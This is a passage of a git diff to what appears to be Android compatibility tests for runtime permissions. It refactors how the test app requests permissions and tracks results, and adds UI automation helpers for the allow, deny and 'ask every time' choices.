- new String[] {Manifest.permission.SEND_SMS}, REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class, null);
+ new String[]{Manifest.permission.SEND_SMS}, null);
// Expect the permission is not granted
- assertEquals(REQUEST_CODE_PERMISSIONS, result.requestCode);
assertTrue(Arrays.equals(result.permissions, new String[0]));
assertTrue(Arrays.equals(result.grantResults, new int[0]));
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
index ada3d19..e5300ab 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
@@ -2,6 +2,7 @@
<resources>
<string name="Permissions">Permissions</string>
<string name="Deny">Deny</string>
+ <string name="Ask">Ask every time</string>
<string name="Allow">Allow</string>
<string name="AllowAll">Allow all the time</string>
</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java
index cacfa80..48dafef 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java
@@ -20,23 +20,33 @@
import android.os.Bundle;
import android.view.WindowManager;
+import java.util.Map;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
public class BasePermissionActivity extends Activity {
private static final long OPERATION_TIMEOUT_MILLIS = 5000;
- private final SynchronousQueue<Result> mResult = new SynchronousQueue<>();
+ /**
+ * Static to ensure correct behavior if {@link Activity} instance was recreated before
+ * result delivery.
+ *
+ * requestCode -> Future<Result>
+ */
+ private static Map<Integer, CompletableFuture<Result>> sPendingResults =
+ new ConcurrentHashMap<>();
+ private static AtomicInteger sNextRequestCode = new AtomicInteger(0);
+
private final CountDownLatch mOnCreateSync = new CountDownLatch(1);
public static class Result {
- public final int requestCode;
public final String[] permissions;
public final int[] grantResults;
- public Result(int requestCode, String[] permissions, int[] grantResults) {
- this.requestCode = requestCode;
+ public Result(String[] permissions, int[] grantResults) {
this.permissions = permissions;
this.grantResults = grantResults;
}
@@ -53,14 +63,18 @@
mOnCreateSync.countDown();
}
+ public CompletableFuture<Result> requestPermissions(String[] permissions) {
+ int requestCode = sNextRequestCode.getAndIncrement();
+ CompletableFuture<Result> future = new CompletableFuture<>();
+ sPendingResults.put(requestCode, future);
+ requestPermissions(permissions, requestCode);
+ return future;
+ }
+
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions,
int[] grantResults) {
- try {
- mResult.offer(new Result(requestCode, permissions, grantResults), 5, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
+ sPendingResults.get(requestCode).complete(new Result(permissions, grantResults));
}
public void waitForOnCreate() {
@@ -70,12 +84,4 @@
throw new RuntimeException(e);
}
}
-
- public Result getResult() {
- try {
- return mResult.poll(OPERATION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- }
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 7861088..8b5630c 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -16,11 +16,19 @@
package com.android.cts.usepermission;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
+
import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertTrue;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
import android.Manifest;
import android.app.Activity;
import android.app.Instrumentation;
@@ -38,9 +46,12 @@
import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
+import android.text.Spanned;
+import android.text.style.ClickableSpan;
import android.util.ArrayMap;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
@@ -51,7 +62,12 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ExceptionUtils;
+import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.compatibility.common.util.UiDumpUtils;
+
import junit.framework.Assert;
+import junit.framework.TestCase;
import org.junit.Before;
import org.junit.runner.RunWith;
@@ -59,6 +75,8 @@
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.regex.Pattern;
@@ -72,6 +90,10 @@
private static final long RETRY_TIMEOUT = 10 * GLOBAL_TIMEOUT_MILLIS;
private static final String LOG_TAG = "BasePermissionsTest";
+ private static final int STATE_ALLOWED = 0;
+ private static final int STATE_DENIED = 1;
+ private static final int STATE_DENIED_WITH_PREJUDICE = 2;
+
private static Map<String, String> sPermissionToLabelResNameMap = new ArrayMap<>();
private Context mContext;
@@ -83,20 +105,16 @@
}
protected static void assertPermissionRequestResult(BasePermissionActivity.Result result,
- int requestCode, String[] permissions, boolean[] granted) {
- assertEquals(requestCode, result.requestCode);
+ String[] permissions, boolean[] granted) {
for (int i = 0; i < permissions.length; i++) {
assertEquals(permissions[i], result.permissions[i]);
- assertEquals(granted[i] ? PackageManager.PERMISSION_GRANTED
+ assertEquals(granted[i]
+ ? PackageManager.PERMISSION_GRANTED
: PackageManager.PERMISSION_DENIED, result.grantResults[i]);
}
}
- protected static UiDevice getUiDevice() {
- return UiDevice.getInstance(getInstrumentation());
- }
-
protected static Activity launchActivity(String packageName,
Class<?> clazz, Bundle extras) {
Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -269,74 +287,96 @@
}
protected BasePermissionActivity.Result requestPermissions(
- String[] permissions, int requestCode, Class<?> clazz, Runnable postRequestAction)
+ String[] permissions, ThrowingRunnable postRequestAction)
throws Exception {
- // Start an activity
- BasePermissionActivity activity = (BasePermissionActivity) launchActivity(
- getInstrumentation().getTargetContext().getPackageName(), clazz, null);
+ return ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+ // Start an activity
+ BasePermissionActivity activity = (BasePermissionActivity) launchActivity(
+ getInstrumentation().getTargetContext().getPackageName(),
+ BasePermissionActivity.class, null);
- activity.waitForOnCreate();
+ activity.waitForOnCreate();
- // Request the permissions
- activity.requestPermissions(permissions, requestCode);
+ // Request the permissions
+ CompletableFuture<BasePermissionActivity.Result> futureResult =
+ activity.requestPermissions(permissions);
- // Define a more conservative idle criteria
- getInstrumentation().getUiAutomation().waitForIdle(
- IDLE_TIMEOUT_MILLIS, GLOBAL_TIMEOUT_MILLIS);
+ // Define a more conservative idle criteria
+ getInstrumentation().getUiAutomation().waitForIdle(
+ IDLE_TIMEOUT_MILLIS, GLOBAL_TIMEOUT_MILLIS);
- // Perform the post-request action
- if (postRequestAction != null) {
- postRequestAction.run();
- }
+ // Perform the post-request action
+ if (postRequestAction != null) {
+ postRequestAction.run();
+ }
- BasePermissionActivity.Result result = activity.getResult();
- activity.finish();
- return result;
+ BasePermissionActivity.Result result =
+ futureResult.get(GLOBAL_TIMEOUT_MILLIS, MILLISECONDS);
+ activity.finish();
+ return result;
+ });
}
protected void clickAllowButton() throws Exception {
- scrollToBottomIfWatch();
- waitForIdle();
- getUiDevice().wait(Until.findObject(By.res(
- "com.android.permissioncontroller:id/permission_allow_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ click("com.android.permissioncontroller:id/permission_allow_button");
}
- protected void clickAllowAlwaysButton() throws Exception {
- waitForIdle();
- getUiDevice().wait(Until.findObject(By.res(
- "com.android.permissioncontroller:id/permission_allow_always_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ protected void clickSettingsAllowAlwaysFromGrantDialog() throws Exception {
+ clickSettingsLink();
+ getUiDevice().waitForIdle();
+ click("com.android.permissioncontroller:id/allow_always_radio_button");
+ getUiDevice().waitForIdle();
+ getUiDevice().pressBack();
}
protected void clickAllowForegroundButton() throws Exception {
- waitForIdle();
- getUiDevice().wait(Until.findObject(By.res(
- "com.android.permissioncontroller:id/permission_allow_foreground_only_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ click("com.android.permissioncontroller:id/permission_allow_foreground_only_button");
}
protected void clickDenyButton() throws Exception {
- scrollToBottomIfWatch();
- waitForIdle();
- getUiDevice().wait(Until.findObject(By.res(
- "com.android.permissioncontroller:id/permission_deny_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ click("com.android.permissioncontroller:id/permission_deny_button");
}
protected void clickDenyAndDontAskAgainButton() throws Exception {
- waitForIdle();
- getUiDevice().wait(Until.findObject(By.res(
- "com.android.permissioncontroller:id/permission_deny_and_dont_ask_again_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ click("com.android.permissioncontroller:id/permission_deny_and_dont_ask_again_button");
}
protected void clickDontAskAgainButton() throws Exception {
- scrollToBottomIfWatch();
+ click("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button");
+ }
+
+ protected void clickNoUpgradeButton() throws Exception {
+ click("com.android.permissioncontroller:id/permission_no_upgrade_button");
+ }
+
+ protected void clickNoUpgradeAndDontAskAgainButton() throws Exception {
+ click("com.android.permissioncontroller:id/permission_no_upgrade_and_dont_ask_again_button");
+ }
+
+ protected void clickSettingsDenyFromGrantDialog() throws Exception {
+ clickSettingsLink();
+ getUiDevice().waitForIdle();
+ click("com.android.permissioncontroller:id/deny_radio_button");
+ getUiDevice().waitForIdle();
+ getUiDevice().pressBack();
+ }
+
+ protected void clickSettingsLink() {
+ List<AccessibilityNodeInfo> infos = getInstrumentation().getUiAutomation()
+ .getRootInActiveWindow().findAccessibilityNodeInfosByViewId(
+ "com.android.permissioncontroller:id/detail_message");
+ AccessibilityNodeInfo info = infos.get(0);
+ Spanned spanned = (Spanned) info.getText();
+ ClickableSpan[] clickableSpans = ((Spanned) info.getText())
+ .getSpans(0, spanned.length(), ClickableSpan.class);
+ ClickableSpan clickableSpan = clickableSpans[0];
+ assertTrue(info.isVisibleToUser());
+ clickableSpan.onClick(null);
+ }
+
+ private void click(String resourceName) throws TimeoutException, UiObjectNotFoundException {
waitForIdle();
- getUiDevice().wait(Until.findObject(By.res(
- "com.android.permissioncontroller:id/permission_deny_dont_ask_again_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ waitFindObject(By.res(resourceName)).click();
}
protected void grantPermission(String permission) throws Exception {
@@ -344,7 +384,7 @@
}
protected void grantPermissions(String[] permissions) throws Exception {
- setPermissionGrantState(permissions, true, false);
+ setPermissionGrantState(permissions, STATE_ALLOWED, false);
}
protected void revokePermission(String permission) throws Exception {
@@ -352,96 +392,98 @@
}
protected void revokePermissions(String[] permissions, boolean legacyApp) throws Exception {
- setPermissionGrantState(permissions, false, legacyApp);
+ setPermissionGrantState(permissions, STATE_DENIED, legacyApp);
}
- private void scrollToBottomIfWatch() throws Exception {
- if (mWatch) {
- getUiDevice().wait(Until.findObject(By.clazz(ScrollView.class)), GLOBAL_TIMEOUT_MILLIS);
- UiScrollable scrollable =
- new UiScrollable(new UiSelector().className(ScrollView.class));
- if (scrollable.exists()) {
- scrollable.flingToEnd(10);
- }
+ private void scrollToBottom() throws Exception {
+ waitFindObject(By.clazz(ScrollView.class));
+ UiScrollable scrollable =
+ new UiScrollable(new UiSelector().className(ScrollView.class));
+ scrollable.setSwipeDeadZonePercentage(0.25);
+ if (scrollable.exists()) {
+ scrollable.flingToEnd(10);
}
}
- private void setPermissionGrantState(String[] permissions, boolean granted,
+ private void setPermissionGrantState(String[] permissions, int state,
boolean legacyApp) throws Exception {
- getUiDevice().pressBack();
- waitForIdle();
- getUiDevice().pressBack();
- waitForIdle();
- getUiDevice().pressBack();
- waitForIdle();
-
- if (isTv()) {
- getUiDevice().pressHome();
+ ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+ getUiDevice().pressBack();
waitForIdle();
- }
+ getUiDevice().pressBack();
+ waitForIdle();
+ getUiDevice().pressBack();
+ waitForIdle();
- // Open the app details settings
- Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
- intent.addCategory(Intent.CATEGORY_DEFAULT);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setData(Uri.parse("package:" + mContext.getPackageName()));
- startActivity(intent);
-
- waitForIdle();
-
- // Open the permissions UI
- String label = mContext.getResources().getString(R.string.Permissions);
- AccessibilityNodeInfo permLabelView = getNodeTimed(() -> findByText(label), true);
- Assert.assertNotNull("Permissions label should be present", permLabelView);
-
- AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
-
- click(permItemView);
-
- waitForIdle();
-
- for (String permission : permissions) {
- // Find the permission screen
- String permissionLabel = getPermissionLabel(permission);
-
- UiObject2 permissionView = null;
- long start = System.currentTimeMillis();
- while (permissionView == null && start + RETRY_TIMEOUT > System.currentTimeMillis()) {
- permissionView = getUiDevice().wait(Until.findObject(By.text(permissionLabel)),
- IDLE_TIMEOUT_MILLIS);
-
- if (permissionView == null) {
- getUiDevice().findObject(By.scrollable(true))
- .scroll(Direction.DOWN, 1);
- }
- }
-
- if (!isTv()) {
- permissionView.click();
+ if (isTv()) {
+ getUiDevice().pressHome();
waitForIdle();
}
- String denyLabel = mContext.getResources().getString(R.string.Deny);
+ // Open the app details settings
+ Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
+ intent.addCategory(Intent.CATEGORY_DEFAULT);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setData(Uri.parse("package:" + mContext.getPackageName()));
+ startActivity(intent);
- final boolean wasGranted = isTv() ? false : !getUiDevice().wait(
- Until.findObject(By.text(denyLabel)), GLOBAL_TIMEOUT_MILLIS).isChecked();
- // TV does not use checked state to represent granted state.
- if (granted != wasGranted || isTv()) {
- // Toggle the permission
+ waitForIdle();
+ // Open the permissions UI
+ String label = mContext.getResources().getString(R.string.Permissions);
+ AccessibilityNodeInfo permLabelView = getNodeTimed(() -> findByText(label), true);
+ Assert.assertNotNull("Permissions label should be present", permLabelView);
+
+ AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
+
+ click(permItemView);
+
+ waitForIdle();
+
+ for (String permission : permissions) {
+ // Find the permission screen
+ String permissionLabel = getPermissionLabel(permission);
+
+ if (!isTv()) {
+ waitFindObject(By.text(permissionLabel)).click();
+ waitForIdle();
+ }
+
+ final boolean wasGranted = isTv() ? false : !(waitFindObject(byText(R.string.Deny)).isChecked() || (!legacyApp && waitFindObject(byText(R.string.Ask)).isChecked()));
+ boolean alreadyChecked = false;
if (isTv()) {
- // no Allow/Deny labels on TV
- permissionView.click();
- } else if (granted) {
- String allowLabel = mContext.getResources().getString(R.string.Allow);
- getUiDevice().findObject(By.text(allowLabel)).click();
- } else {
- getUiDevice().findObject(By.text(denyLabel)).click();
+ waitFindObject(By.text(permissionLabel)).click();
+ } else if (state == STATE_ALLOWED) {
+ UiObject2 object = waitFindObject(byText(R.string.Allow));
+ alreadyChecked = object.isChecked();
+ if (!alreadyChecked) {
+ object.click();
+ }
+ } else if (state == STATE_DENIED){
+ UiObject2 object;
+ if (legacyApp) {
+ object = waitFindObject(byText(R.string.Deny));
+ } else {
+ object = waitFindObject(byText(R.string.Ask));
+ }
+ alreadyChecked = object.isChecked();
+ if (!alreadyChecked) {
+ object.click();
+ }
+ } else if (state == STATE_DENIED_WITH_PREJUDICE) {
+ UiObject2 object = waitFindObject(byText(R.string.Deny));
+ alreadyChecked = object.isChecked();
+ if (!alreadyChecked) {
+ object.click();
+ }
+ }
+ if (alreadyChecked) {
+ continue;
}
waitForIdle();
if (wasGranted && legacyApp) {
- scrollToBottomIfWatch();
+ scrollToBottom();
Context context = getInstrumentation().getContext();
String packageName = context.getPackageManager()
.getPermissionControllerPackageName();
@@ -450,29 +492,32 @@
Resources resources = context
.createPackageContext(packageName, 0).getResources();
final int confirmResId = resources.getIdentifier(resIdName, null, null);
- String confirmTitle = CaseMap.toUpper().apply(
- resources.getConfiguration().getLocales().get(0),
- resources.getString(confirmResId));
- getUiDevice().wait(Until.findObject(
- byTextStartsWithCaseInsensitive(confirmTitle)),
- GLOBAL_TIMEOUT_MILLIS).click();
+ String confirmTitle = resources.getString(confirmResId);
+ waitFindObject(byTextStartsWithCaseInsensitive(confirmTitle))
+ .click();
+ waitForIdle();
+ }
+
+ if (!isTv()) {
+ getUiDevice().pressBack();
waitForIdle();
}
}
- if (!isTv()) {
- getUiDevice().pressBack();
- waitForIdle();
- }
- }
-
- getUiDevice().pressBack();
- waitForIdle();
- getUiDevice().pressBack();
- waitForIdle();
+ getUiDevice().pressBack();
+ waitForIdle();
+ getUiDevice().pressBack();
+ waitForIdle();
+ });
}
+ private BySelector byText(int stringId) {
+ return By.text(mContext.getResources().getString(stringId));
+ }
+
+
+
private BySelector byTextStartsWithCaseInsensitive(String prefix) {
return By.text(Pattern.compile(String.format("(?i)^%s.*$", Pattern.quote(prefix))));
}
@@ -618,12 +663,14 @@
}
private static void click(AccessibilityNodeInfo node) throws Exception {
- getInstrumentation().getUiAutomation().executeAndWaitForEvent(
- () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
- (AccessibilityEvent event) -> event.getEventType()
- == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
- || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
- GLOBAL_TIMEOUT_MILLIS);
+ ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+ getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+ () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+ (AccessibilityEvent event) -> event.getEventType()
+ == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+ || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
+ GLOBAL_TIMEOUT_MILLIS);
+ });
}
private static AccessibilityNodeInfo findCollectionItem(AccessibilityNodeInfo current)
@@ -675,4 +722,21 @@
return getInstrumentation().getContext().getPackageManager()
.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
+
+ protected static void assertPermissionState(String perm, int expectedState) {
+ Context context = getInstrumentation().getTargetContext();
+ int permState = context.checkSelfPermission(perm);
+ assertEquals("Package " + context.getPackageName() + " has " + perm + " "
+ + permissionGrantStateToString(permState) + " but expected "
+ + permissionGrantStateToString(expectedState),
+ expectedState, permState);
+ }
+
+ protected static String permissionGrantStateToString(int state) {
+ switch (state) {
+ case PackageManager.PERMISSION_GRANTED: return "GRANTED";
+ case PackageManager.PERMISSION_DENIED: return "DENIED";
+ default: throw new IllegalArgumentException("Unknown permission state: " + state);
+ }
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index 9482df0..a958816 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -16,6 +16,7 @@
package com.android.cts.usepermission;
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
import static junit.framework.Assert.assertEquals;
import static org.junit.Assert.fail;
@@ -26,7 +27,6 @@
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
-import android.os.Build;
import android.provider.CalendarContract;
import androidx.test.InstrumentationRegistry;
@@ -41,7 +41,6 @@
* Runtime permission behavior tests for apps targeting API 23
*/
public class UsePermissionTest23 extends BasePermissionsTest {
- private static final int REQUEST_CODE_PERMISSIONS = 42;
private final Context mContext = getInstrumentation().getContext();
@@ -105,21 +104,13 @@
}
// Go through normal grant flow
- BasePermissionActivity.Result result = requestPermissions(new String[] {
+ BasePermissionActivity.Result result = requestPermissions(new String[]{
Manifest.permission.READ_CALENDAR,
- Manifest.permission.WRITE_CALENDAR},
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ Manifest.permission.WRITE_CALENDAR}, () -> {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ });
- assertEquals(REQUEST_CODE_PERMISSIONS, result.requestCode);
assertEquals(Manifest.permission.READ_CALENDAR, result.permissions[0]);
assertEquals(Manifest.permission.WRITE_CALENDAR, result.permissions[1]);
assertEquals(PackageManager.PERMISSION_GRANTED, result.grantResults[0]);
@@ -147,21 +138,13 @@
String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
// request only one permission from the 'contacts' permission group
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {true});
+ assertPermissionRequestResult(result, permissions, new boolean[] {true});
// Make sure no undeclared as used permissions are granted
assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
@@ -181,21 +164,13 @@
// request only one permission from the 'SMS' permission group at runtime,
// but two from this group are <uses-permission> in the manifest
// request only one permission from the 'contacts' permission group
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {true});
+ assertPermissionRequestResult(result, permissions, new boolean[] {true});
// We should now have been granted both of the permissions from this group.
assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
@@ -211,21 +186,13 @@
String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
// Request the permission and cancel the request
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickDenyButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+ clickDenyButton();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is not granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(result, permissions, new boolean[] {false});
}
@Test
@@ -237,29 +204,20 @@
String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
// Request the permission and allow it
- BasePermissionActivity.Result firstResult = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class, () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result firstResult = requestPermissions(permissions, () -> {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is granted
- assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {true});
+ assertPermissionRequestResult(firstResult, permissions, new boolean[] {true});
// Request the permission and do nothing
- BasePermissionActivity.Result secondResult = requestPermissions(new String[] {
- Manifest.permission.WRITE_CONTACTS}, REQUEST_CODE_PERMISSIONS + 1,
- BasePermissionActivity.class, null);
+ BasePermissionActivity.Result secondResult = requestPermissions(new String[]{
+ Manifest.permission.WRITE_CONTACTS}, null);
// Expect the permission is granted
- assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
- permissions, new boolean[] {true});
+ assertPermissionRequestResult(secondResult, permissions, new boolean[] {true});
}
@Test
@@ -271,45 +229,30 @@
String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
// Request the permission and deny it
- BasePermissionActivity.Result firstResult = requestPermissions(
- permissions, REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class, () -> {
- try {
- clickDenyButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result firstResult = requestPermissions(permissions, () -> {
+ clickDenyButton();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is not granted
- assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(firstResult, permissions, new boolean[] {false});
// Request the permission and choose don't ask again
- BasePermissionActivity.Result secondResult = requestPermissions(new String[] {
- Manifest.permission.WRITE_CONTACTS}, REQUEST_CODE_PERMISSIONS + 1,
- BasePermissionActivity.class, () -> {
- try {
- denyWithPrejudice();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result secondResult = requestPermissions(new String[]{
+ Manifest.permission.WRITE_CONTACTS}, () -> {
+ denyWithPrejudice();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is not granted
- assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(secondResult, permissions, new boolean[] {false});
// Request the permission and do nothing
- BasePermissionActivity.Result thirdResult = requestPermissions(new String[] {
- Manifest.permission.WRITE_CONTACTS}, REQUEST_CODE_PERMISSIONS + 2,
- BasePermissionActivity.class, null);
+ BasePermissionActivity.Result thirdResult = requestPermissions(new String[]{
+ Manifest.permission.WRITE_CONTACTS}, null);
// Expect the permission is not granted
- assertPermissionRequestResult(thirdResult, REQUEST_CODE_PERMISSIONS + 2,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(thirdResult, permissions, new boolean[] {false});
}
@Test
@@ -347,36 +290,23 @@
String[] permissions = new String[] {Manifest.permission.READ_CALENDAR};
// Request the permission and deny it
- BasePermissionActivity.Result firstResult = requestPermissions(
- permissions, REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class, () -> {
- try {
- clickDenyButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result firstResult = requestPermissions(permissions, () -> {
+ clickDenyButton();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is not granted
- assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(firstResult, permissions, new boolean[] {false});
// Request the permission and choose don't ask again
- BasePermissionActivity.Result secondResult = requestPermissions(new String[] {
- Manifest.permission.READ_CALENDAR}, REQUEST_CODE_PERMISSIONS + 1,
- BasePermissionActivity.class, () -> {
- try {
- denyWithPrejudice();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result secondResult = requestPermissions(new String[]{
+ Manifest.permission.READ_CALENDAR}, () -> {
+ denyWithPrejudice();
+ getUiDevice().waitForIdle();
+ });
// Expect the permission is not granted
- assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(secondResult, permissions, new boolean[] {false});
// Clear the denial with prejudice
grantPermission(Manifest.permission.READ_CALENDAR);
@@ -392,20 +322,15 @@
.checkSelfPermission(Manifest.permission.READ_CALENDAR));
// Request the permission and allow it
- BasePermissionActivity.Result thirdResult = requestPermissions(new String[] {
- Manifest.permission.READ_CALENDAR}, REQUEST_CODE_PERMISSIONS + 2,
- BasePermissionActivity.class, () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result thirdResult = requestPermissions(new String[]{
